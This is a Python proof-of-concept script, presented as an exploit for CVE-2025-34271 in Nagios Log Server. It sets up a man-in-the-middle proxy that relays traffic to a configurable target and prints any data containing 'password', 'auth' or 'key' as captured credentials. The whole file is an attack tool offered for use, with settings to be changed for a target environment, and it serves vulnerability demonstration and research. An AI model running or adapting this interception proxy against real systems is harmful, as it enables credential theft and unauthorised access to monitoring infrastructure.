# CVE-2025-34271 PoC - Nagios Log Server Credential Interception
# This PoC demonstrates Man-in-the-Middle attack to capture plaintext credentials
import socket
import ssl
import threading
import struct
def handle_client(client_socket, target_host, target_port):
"""Forward traffic between client and target, logging potential credentials"""
try:
target_socket = socket.create_connection((target_host, target_port), timeout=10)
# Check if connection uses SSL
try:
target_socket = ssl.wrap_socket(target_socket)
print("[+] SSL connection established to target")
except ssl.SSLError:
print("[-] Target does not use SSL - plaintext communication")
# Bidirectional forwarding with credential detection
def forward(source, destination, direction):
try:
while True:
data = source.recv(4096)
if not data:
break
# Detect potential credential patterns
if b'password' in data.lower() or b'auth' in data.lower() or b'key' in data.lower():
print(f"[*] Potential credential data captured ({direction}):")
print(data.decode('utf-8', errors='ignore')[:200])
destination.send(data)
except Exception as e:
pass
finally:
try:
source.close()
destination.close()
except:
pass
# Start forwarding threads
client_thread = threading.Thread(target=forward, args=(client_socket, target_socket, "client->server"))
server_thread = threading.Thread(target=forward, args=(target_socket, client_socket, "server->client"))
client_thread.daemon = True
server_thread.daemon = True
client_thread.start()
server_thread.start()
client_thread.join()
server_thread.join()
except Exception as e:
print(f"[-] Error: {e}")
finally:
client_socket.close()
def start_mitm_proxy(listen_port, target_host, target_port):
"""Start MITM proxy server"""
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', listen_port))
server.listen(5)
print(f"[*] MITM Proxy listening on port {listen_port}")
print(f"[*] Redirecting traffic to {target_host}:{target_port}")
while True:
client_socket, addr = server.accept()
print(f"[+] Connection from {addr[0]}:{addr[1]}")
handler = threading.Thread(target=handle_client, args=(client_socket, target_host, target_port))
handler.daemon = True
handler.start()
if __name__ == "__main__":
# Configuration - modify these values for target environment
PROXY_PORT = 8080
NAGIOS_TARGET = "192.168.1.100" # Target Nagios Log Server IP
NAGIOS_PORT = 8081 # Cluster communication port
print("=" * 60)
print("CVE-2025-34271 Nagios Log Server MITM PoC")
print("=" * 60)
start_mitm_proxy(PROXY_PORT, NAGIOS_TARGET, NAGIOS_PORT)